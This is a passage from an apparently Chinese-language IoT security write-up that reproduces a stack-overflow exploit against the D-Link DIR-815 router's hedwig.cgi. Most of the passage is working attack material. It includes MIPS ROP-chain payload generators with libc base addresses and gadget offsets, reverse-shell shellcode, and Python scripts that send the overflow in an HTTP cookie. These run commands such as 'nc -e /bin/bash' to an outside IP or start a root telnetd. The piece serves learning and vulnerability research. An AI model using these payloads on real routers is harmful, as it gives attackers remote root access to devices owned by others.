0042c000-0042d000 rw-p 0001c000 08:01 32694      /htdocs/cgibin
0042d000-0042f000 rwxp 00000000 00:00 0          [heap]
77f34000-77f92000 r-xp 00000000 08:01 547906     /lib/libc.so.0
77f92000-77fa1000 ---p 00000000 00:00 0 
77fa1000-77fa2000 r--p 0005d000 08:01 547906     /lib/libc.so.0
77fa2000-77fa3000 rw-p 0005e000 08:01 547906     /lib/libc.so.0
77fa3000-77fa8000 rw-p 00000000 00:00 0 
77fa8000-77fd1000 r-xp 00000000 08:01 546761     /lib/libgcc_s.so.1
77fd1000-77fe1000 ---p 00000000 00:00 0 
77fe1000-77fe2000 rw-p 00029000 08:01 546761     /lib/libgcc_s.so.1
77fe2000-77fe7000 r-xp 00000000 08:01 547907     /lib/ld-uClibc.so.0
77ff5000-77ff6000 rw-p 00000000 00:00 0 
77ff6000-77ff7000 r--p 00004000 08:01 547907     /lib/ld-uClibc.so.0
77ff7000-77ff8000 rw-p 00005000 08:01 547907     /lib/ld-uClibc.so.0
7ffd6000-7fff7000 rwxp 00000000 00:00 0          [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0          [vdso]

[11]+  Stopped                 /htdocs/web/hedwig.cgi
root@debian-mipsel:~/squashfs-root#

5.3-编写exp

上面既然用了两种方法:system和sleep(1),那么下面也使用这两种。

  1. system方法:将上面的exp的libc基地址和偏移改掉然后cmd换成nc -e /bin/bash 192.168.79.145 9999

    #!/usr/bin/python2
    from pwn import *
    context.endian = "little"
    context.arch = "mips"
    base_addr = 0x77f34000
    system_addr_1 = 0x53200-1
    gadget1 = 0x45988
    gadget2 = 0x159cc
    
    cmd = 'nc -e /bin/bash 192.168.79.145 9999'
    padding = 'A' * 973 #1009-4*9
    padding += p32(base_addr + system_addr_1) # s0
    padding += p32(base_addr + gadget2)       # s1
    padding += 'A' * 4                        # s2
    padding += 'A' * 4                        # s3
    padding += 'A' * 4                        # s4
    padding += 'A' * 4                         # s5
    padding += 'A' * 4                        # s6
    padding += 'A' * 4                        # s7
    padding += 'A' * 4                        # fp
    padding += p32(base_addr + gadget1)       # ra
    padding += 'B' * 0x10
    padding += cmd
    
    f = open("context",'wb')
    f.write(padding)
    f.close()
    

    生成的context通过scp拷贝到mips虚拟机中并且nano debug.sh更改debug.sh

    #!/bin/bash
    export CONTENT_LENGTH="100"
    export CONTENT_TYPE="application/x-www-form-urlencoded"
    export HTTP_COOKIE="uid=`cat context`"
    export REQUEST_METHOD="POST"
    export REQUEST_URI="/hedwig.cgi"
    echo "uid=1234"|/htdocs/web/hedwig.cgi
    #echo "uid=1234"|./gdbserver.mipsel 192.168.79.145:6666 /htdocs/web/hedwig.cgi
    

    在mips虚拟机运行之后在本机nc -vlp 9999,确实能够获取/bin/bash权限。成功了!说明rop链构造是没问题的。

  2. 利用sleep(1)调用shellcode

    这里的shllcode作用是给指定的IP地址和端口反弹shell,根据文章修改其中的socket反向连接IP,端口没有改变还是31337。

    #!/usr/bin/python2
    from pwn import *
    context.endian = "little"
    context.arch = "mips"
    
    shellcode = ""
    shellcode += "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
    shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
    shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
    shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
    #shellcode += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177:31337
    shellcode += "\xf8\xff\xa5\xaf\x4f\x91\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.79.145
    shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
    shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
    shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
    shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
    shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
    shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
    
    libc_base = 0x77f34000
    sleep = 0x56BD0 #sleep jr ra 0x7678edf4
    gadget1 = 0x57E50
    gadget2 = 0x3B8A8
    gadget3 = 0x14F28
    gadget4 = 0x1DD08#0x15C84#0xBB44
    
    payload = 'A' * 973 #1009-9*4
    payload += 'A' * 4                         # s0
    payload += p32(libc_base + gadget2)       # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
    payload += p32(libc_base + sleep)         # s2 = jr $(sp+0x24)
    payload += 'A' * 4                        # s3
    payload += p32(libc_base + gadget4)       # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
    payload += 'A' * 4                         # s5
    payload += 'A' * 4                        # s6
    payload += 'A' * 4                        # s7
    payload += 'A' * 4                        # fp
    payload += p32(libc_base + gadget1)       # ra = mipsrop.find("li $a0,1") && jr s1
    
    payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
    payload += p32(libc_base + gadget3)       # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
    
    payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
    payload += shellcode
    
    f = open("exploit2",'wb+')
    f.write(payload)
    f.close()
    

    生成的exploit2通过scp拷贝到mips虚拟机中并且nano debug.sh更改debug.sh运行得到shell。

其实现在mips虚拟机相当于一个开启了部分web服务的DIR815路由器,可以通过发送构造好的http报文获取shell。

利用system函数

#!/usr/bin/python
from pwn import *
context.endian = "little"
context.arch = "mips"

import requests
import sys

def get_payload(offset, libc_base, cmd):
    gadget1 = 0x45988
    gadget2 = 0x159cc
    system_addr_1 = 0x53200-1
    payload = 'A' * offset
    payload += p32(libc_base + system_addr_1) # s0
    payload += p32(libc_base + gadget2)       # s1
    payload += 'A' * 4                        # s2
    payload += 'A' * 4                        # s3
    payload += 'A' * 4                        # s4
    payload += 'A' * 4                        # s5
    payload += 'A' * 4                        # s6
    payload += 'A' * 4                        # s7
    payload += 'A' * 4                        # fp
    payload += p32(libc_base + gadget1)       # ra
    payload += 'B' * 0x10
    payload += cmd
    return payload

if __name__=="__main__":
    cmd = "nc -e /bin/bash 192.168.79.145 9999"
    cookie='uid=' + get_payload(973, 0x77f34000, cmd)
    header = {
        'Cookie'        : cookie,
        'Content-Type'  : 'application/x-www-form-urlencoded',
        'Content-Length': '100'
        }
    data = {'uid':'1234'}
    ip_port=sys.argv[1]
    url="http://"+ip_port+"/hedwig.cgi"
    r=requests.post(url=url,headers=header,data=data)
    print r.text

测试结果:获取shell

利用sleep调用shellcode(反弹shell)

def get_payload(offset, libc_base):

    shellcode = ""
    shellcode += "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
    shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
    shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
    shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
    #shellcode += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177:31337
    shellcode += "\xf8\xff\xa5\xaf\x4f\x91\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.79.145
    shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
    shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
    shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
    shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
    shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
    shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

    sleep = 0x56BD0 #sleep jr ra 0x7678edf4
    gadget1 = 0x57E50
    gadget2 = 0x3B8A8
    gadget3 = 0x14F28
    gadget4 = 0x1DD08#0x15C84#0xBB44

    payload = 'A' * offset #1009-9*4
    payload += 'A' * 4                        # s0
    payload += p32(libc_base + gadget2)       # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
    payload += p32(libc_base + sleep)         # s2 = jr $(sp+0x24)
    payload += 'A' * 4                        # s3
    payload += p32(libc_base + gadget4)       # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
    payload += 'A' * 4                        # s5
    payload += 'A' * 4                        # s6
    payload += 'A' * 4                        # s7
    payload += 'A' * 4                        # fp
    payload += p32(libc_base + gadget1)       # ra = mipsrop.find("li $a0,1") && jr s1

    payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
    payload += p32(libc_base + gadget3)       # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4

    payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
    payload += shellcode

    return payload

测试结果:获取shell

Firmadyne的安装过程这里就不再继续介绍,这里是用它来测试,能够启动起来。并且访问firmadyne给其分配的默认web接口192.168.0.1。

nmap扫描查看开放的端口,目前3各端口分别对应dns53,http80,upnp49152。

Starting Nmap 7.01 ( https://nmap.org ) at 2020-05-24 16:21 CST
Nmap scan report for 192.168.0.1
Host is up (0.00041s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
53/tcp    open  domain  dnsmasq 2.45
80/tcp    open  http    D-Link DIR-815 WAP http config 1.01
49152/tcp open  upnp    D-Link DIR-815 WAP UPnP 1.01 (UPnP 1.0)
MAC Address: 52:54:00:12:34:58 (QEMU virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32
OS details: Linux 2.6.32
Network Distance: 1 hop
Service Info: OS: Linux; Device: WAP; CPE: cpe:/h:dlink:dir-815:1.01, cpe:/o:linux:linux_kernel, cpe:/h:d-link:dir-815

构造exp进行测试

其实这里需要跟之前qemu系统模式一样,上传gdbsever进行调试确定偏移和libc基地址。这里直接利用师傅帖子中的代码进行测试。这里的基地址是根据firmadyne中用linux内核版本为2.6.32,别的帖子中测试的基地址为0x2aaf8000,并且metasploit里面的payload写到:路由器环境中基地址为0x2aaf8000,qemu环境为0x40854000。两个可以都试试!

[ 'Multiple Targets: D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600',
            {
              'Offset'      => 973,
              'LibcBase'    => 0x2aaf8000,    # Router
              #'LibcBase'   => 0x40854000,    # QEMU environment
              'System'      => 0x000531FF,    # address of system
              'CalcSystem'  => 0x000158C8,    # calculate the correct address of system
              'CallSystem'  => 0x000159CC,    # call our system
            }
          ]

下面编写exp进行测试,利用system函数进行测试。

#!/usr/bin/python
from pwn import *
context.endian = "little"
context.arch = "mips"

import requests
import sys

def get_payload(offset, libc_base, cmd):
    gadget1 = 0x45988
    gadget2 = 0x159cc
    system_addr_1 = 0x53200-1
    payload = 'A' * offset
    payload += p32(libc_base + system_addr_1) # s0
    payload += p32(libc_base + gadget2)       # s1
    payload += 'A' * 4                        # s2
    payload += 'A' * 4                        # s3
    payload += 'A' * 4                        # s4
    payload += 'A' * 4                        # s5
    payload += 'A' * 4                        # s6
    payload += 'A' * 4                        # s7
    payload += 'A' * 4                        # fp
    payload += p32(libc_base + gadget1)       # ra
    payload += 'B' * 0x10
    payload += cmd
    return payload

if __name__=="__main__":
    #cmd = "nc -e /bin/bash 192.168.79.145 9999"
    cmd = 'telnetd -p 222 -l /bin/sh'
    cookie='uid=' + get_payload(973, 0x2aaf8000, cmd)
    header = {
        'Cookie'        : cookie,
        'Content-Type'  : 'application/x-www-form-urlencoded',
        'Content-Length': '100'
        }
    data = {'uid':'1234'}
    ip_port=sys.argv[1]
    url="http://"+ip_port+"/hedwig.cgi"
    r=requests.post(url=url,headers=header,data=data)
    print r.text

测试结果显示能够执行telnetd -p 222 -l /bin/sh。telnet 上去对应的窗口直接反弹shell。

在实体机上刷上1.01的版本,用system方法的exp同样能得到获取shell。

终于大概的分析完了,因为太菜的原因整个过程其实遇到了不少的坑,从最开始死活到不了第二个sprintf,到后面的qemu系统模式修改http配置文件都起不来http服务,还有shellcode的修改等等问题都可能卡好久,最后解决的时候才知道并不是太难的问题。。。还是太菜了!整个流程完全自己复现一遍并且能够清楚地讲出来,其实个人感觉还是有收获的,比如路由器缓冲区溢出漏洞的分析调试详细流程,gdb、IDA、Ghidra等工具联调使用,以及该libc的万能gadget等。
感谢H4lo大佬不厌其烦地回答我分析调试过程中遇到的问题!坚持学习不断追赶!

路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析

IOT设备漏洞挖掘从入门到入门(二)- DLink Dir 815漏洞分析及三种方式模拟复现

Building MIPS Environment for Router && PWN

http://shell-storm.org/shellcode/

一个mips栈溢出


文章来源: http://xz.aliyun.com/t/7835
如有侵权请联系:admin#unsafe.sh